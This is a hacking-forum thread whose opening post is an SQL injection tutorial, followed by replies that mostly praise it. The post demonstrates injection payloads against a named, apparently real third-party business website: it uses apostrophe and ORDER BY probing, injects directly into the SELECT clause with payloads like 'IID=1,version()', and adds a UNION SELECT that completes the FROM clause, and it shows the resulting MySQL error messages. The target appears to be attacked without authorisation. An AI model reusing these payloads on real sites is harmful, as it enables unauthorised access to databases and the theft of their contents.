

Forum:[Hack Forums](#)

Thread: [\[Tutorial/Details\] I.Q.D SQL Injection Method \[knowledge By Sir benzi & Sir JaNuS1\]](#)

InjectorBoy - August 9, 2016, 1:36 pm

Hi EvreyBody This Is MY New Tutorial I.Q.D SQL Injection Method This Method Learned From Sir benzi So I Love To sharing With You Hope You Loved.

First I meaning by [I.Q.D] Inject The query directly .

our site that I will play with .

PHP Code

```
<?php
```

```
https://www.tirol-taxi.at/index.php?IID=1
```

let's see if this site injectable or not by useing Apostrophe ['] .

PHP Code

```
<?php
```

```
https://www.tirol-taxi.at/index.php?IID=1'
```

as we see we have error .

PHP Code

```
<?php
```

```
1064: You have an error in your SQL syntax;
```

```
check the manual that corresponds to your MySQL server version for the right syntax to use near  
'\ AS name, subtitle_1\' AS sub, seoname_1\' AS seoname, template, content_1\' A' at line 1
```

now let's try to get column count by useing order by .

PHP Code

```
<?php
```

```
https://www.tirol-taxi.at/index.php?IID=1 order by 100-- -
```

I get error

PHP Code

```
<?php
```

```
1054: Unknown column 'title_15' in 'field list'
```

B.T.W I trying evrey method with order by I know but not work so how to inject this hard site Now ?
? .

I have a brilliant idea I will contact By phone With Sir benzi .

Let's contact him Now.

His phone ringing now .

InjectirBoy- hi sir benzi how are you today hope you so good.

sir benzi- hi InjectirBoy am good thx.

InjectirBoy- sir benzi can I ask you sir how I inject this hard site ?

sir benzi- aha it'a so easy Listen carefully InjectirBoy.

InjectirBoy- Ok Sir

sir benzi- this is the error right .

PHP Code

```
<?php
```

1064: You have an error in your SQL syntax;

check the manual that corresponds to your MySQL server version for the right syntax to use near
'\ AS name, subtitle_1\ AS sub, seoname_1\ AS seoname, template, content_1\ A' at line 1

when we see multiple "AS" and commas, we know the injection is before "from".

the injection is inside "select" and before "from", we can use I.Q.D method ' inject the query directly

InjectirBoy- aha you mean sir we not needed to use union select method ?

sir benzi- yse something like that so inject the query directly after id number like that .

PHP Code

```
<?php
```

<https://www.tirol-taxi.at/index.php?IID=1>

now add Comma after number of ID like .

PHP Code

```
<?php
```

<https://www.tirol-taxi.at/index.php?IID=1,>

then adding number two after the comma that will be the column directly.

PHP Code

```
<?php
```

<https://www.tirol-taxi.at/index.php?IID=1,2>

now let's see the version

PHP Code

<?php

[https://www.tirol-taxi.at/index.php?IID=1,version\(\)](https://www.tirol-taxi.at/index.php?IID=1,version())

InjectirBoy- wow so good sir benzi learned something new thx sir [Regards sir benzi and good Bye to now] .

ok my friend lets learning you something different I learned of sir benzi.

when we see error like that -

PHP Code

<?php

the right syntax to use near '\ where ID='4883' at line 1

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\ order by 1-- where ID='4883' at line 1"

the injection point is after "from" the error is showing because the injection point is after "from", probably something like that- SELECT c1,c2 FROM table_15injection WHERE ID='4883',to fix it, just fill the missing "where" and your query after that. ?

PHP Code

<?php

www.InjectorBoy.md/news.php?id=58' where 0 order by 99-- -

now I will learned you something new I learned from sir janus.

in the first we injected site with sir benzi in mode [before "from"] let's try to inject in mode [before "from"] too with the same error that belong to the injection when is inside "select" and before "from" but the injection with ID and using union select

sir janus say to me my solution will be by adding part of original syntax 'to add missing from part' so I can inject after it.

AS name FROM texts WHERE id=245, so we can continue with our injection code and 0 Union SeLEct 1-- -

PHP Code

<?php

https:

[//www.tirol-taxi.at/index.php?IID=1 AS name FROM texts WHERE id=245 and 0 Union SeLEct 1-- -](https://www.tirol-taxi.at/index.php?IID=1 AS name FROM texts WHERE id=245 and 0 Union SeLEct 1-- -)

let's see the version.

PHP Code

```
<?php
```

https:

```
//www.tirol-taxi.at/index.php?IID=1 AS name FROM texts WHERE id=245 and 0 Union SeLEct versi  
on()-- -
```

that all to today hope you learned something new like me.

Regards to sir benzi & sir janus .

Sidekiq - August 9, 2016, 2:11 pm

Pretty nice to read about this, even though I already knew this.

Loved the format.

InjectorBoy - August 9, 2016, 2:30 pm

(Aug 9, 2016 02:11 PM)Sidekiq Wrote: [\[CITE\]](#) Pretty nice to read about this, even though I already knew this.

Loved the format.

THX SIR ' AND YOU ARE WELLCOM '

JaNuS18 - August 9, 2016, 2:45 pm

My solution is NOT mode [after "from"] as you named it.

As injection point is BEFORE from, I added missing from part with:

AS name FROM texts WHERE id=245, so I can continue with my injection code and 0 Union SeLEct 1-- -

Walt Disney™ - August 9, 2016, 2:48 pm

Got a nice laugh from this. Good tutorial though, should be helpful to other users.

InjectorBoy - August 9, 2016, 3:26 pm

(Aug 9, 2016 02:45 PM)JaNuS18 Wrote: [\[CITE\]](#) My solution is NOT mode [after "from"] as you named it.

As injection point is BEFORE from, I added missing from part with:

AS name FROM texts WHERE id=245, so I can continue with my injection code and 0 Union SeLEct 1-- -

thx sir and Mistakes have been repaired

Regard sir

(Aug 9, 2016 02:48 PM)Walt Disney™ Wrote: [\[CITE\]](#) Got a nice laugh from this. Good tutorial though, should be helpful to other users.

Glad you liked it sir ?

spirited_wolf™ - August 9, 2016, 5:45 pm

wow really a great writeup mate ?

Inject0r Killer - August 9, 2016, 6:15 pm

Great One ? Keep Posting ?

Kashmiri Hunter - August 9, 2016, 7:51 pm

Nice One Mate.Keep On Posting Challenges !

The_Defiant_One - August 9, 2016, 10:26 pm

This was a good and entertaining tutorial. Thanks for sharing!

AkDK - August 10, 2016, 5:40 am

Its Awesome Tutriol Learn Some Thing New From You But Can You What Stand For

I.Q.D == ??

benzi - August 10, 2016, 8:16 am

hehe nice tutorial! although i dont own an iphone ;)

spirited_wolf™ - August 10, 2016, 8:22 am

(Aug 10, 2016 05:40 AM)AkDK Wrote: [\[CITE\]](#) Its Awesome Tutriol Learn Some Thing New From You But Can You What Stand For

I.Q.D == ??

IQD mean ==> Inject The query directly

?

Kashmiri Hunter - August 10, 2016, 10:12 am

(Aug 10, 2016 08:16 AM)benzi Wrote: [\[CITE\]](#) hehe nice tutorial! although i dont own an iphone ;)

Hehehe Master So Which Phone Do You Own ? ?

InjectorBoy - August 10, 2016, 1:08 pm

(Aug 9, 2016 05:45 PM)spirited_wolf Wrote: [\[CITE\]](#) wow really a great writeup mate ?

thx sir ?

(Aug 9, 2016 06:15 PM)Inject0r Killer Wrote: [\[CITE\]](#) Great One ? Keep Posting ?

thx sir , ok

(Aug 9, 2016 07:51 PM)Kashmiri Hunter Wrote: [\[CITE\]](#) Nice One Mate.Keep On Posting Challenges

!

thx sir , ok

(Aug 9, 2016 10:26 PM)The_Defiant_One Wrote: [\[CITE\]](#) This was a good and entertaining tutorial.

Thanks for sharing!

you are welcome sir thx

(Aug 10, 2016 05:40 AM)AkDK Wrote: [\[CITE\]](#) Its Awesome Tutriol Learn Some Thing New From You But Can You What Stand For

I.Q.D == ??

thx sir glad for you ?

(Aug 10, 2016 08:16 AM)benzi Wrote: [\[CITE\]](#) hehe nice tutorial! although i dont own an iphone ;)

Hehehe

Very happy to respond from you sir in my thread ?

And more happy that you like TOPICAL ?

7h3_Ph3n0m - August 11, 2016, 7:29 am

nice share thanks.....?

B3NG4I TiG3R - August 11, 2016, 10:59 pm

Great Posting ... Man keep posting

Thnx for sharing !

InjectorBoy - August 12, 2016, 10:16 am

(Aug 11, 2016 07:29 AM)7h3_Ph3n0m Wrote: [\[CITE\]](#) nice share thanks.....?
you welcome sir

(Aug 11, 2016 10:59 PM)B3NG4I TiG3R Wrote: [\[CITE\]](#) Great Posting ... Man keep posting
Thnx for sharing !
you welcome sir

dipu.hasan - August 16, 2016, 2:29 am

Thanks ????

chinhnghia - September 18, 2016, 8:04 pm

It's detailed and easy to understand

fox30 - September 19, 2016, 5:14 am

nice share thanks?

InjectorBoy - October 26, 2016, 11:00 pm

(Sep 19, 2016 05:14 AM)fox30 Wrote: [\[CITE\]](#) nice share thanks?
THX SIR?

4605 - November 5, 2016, 9:57 pm

wow.. awesome method from 2 master (master benzi and master janus)
:D

InjectorBoy - July 18, 2017, 11:46 am

(Nov 5, 2016 09:57 PM)4605 Wrote: [\[CITE\]](#) wow.. awesome method from 2 master (master benzi and master janus)
:D
aha you are right ?

InjectorBoy - August 16, 2017, 7:00 pm

(Sep 18, 2016 08:04 PM)chinhnghia Wrote: [\[CITE\]](#) It's detailed and easy to understand
yes it's

colinstau - August 17, 2017, 5:59 am

thanks for the help dude, its great

InjectorBoy - September 9, 2017, 9:21 pm

(Aug 17, 2017 05:59 AM)colinstau Wrote: [\[CITE\]](#) thanks for the help dude, its great
you wellcom sir

ktmercedes - *September 16, 2017, 10:52 am*

Thank you for writing. very funny and interesting to read at the same time very informative.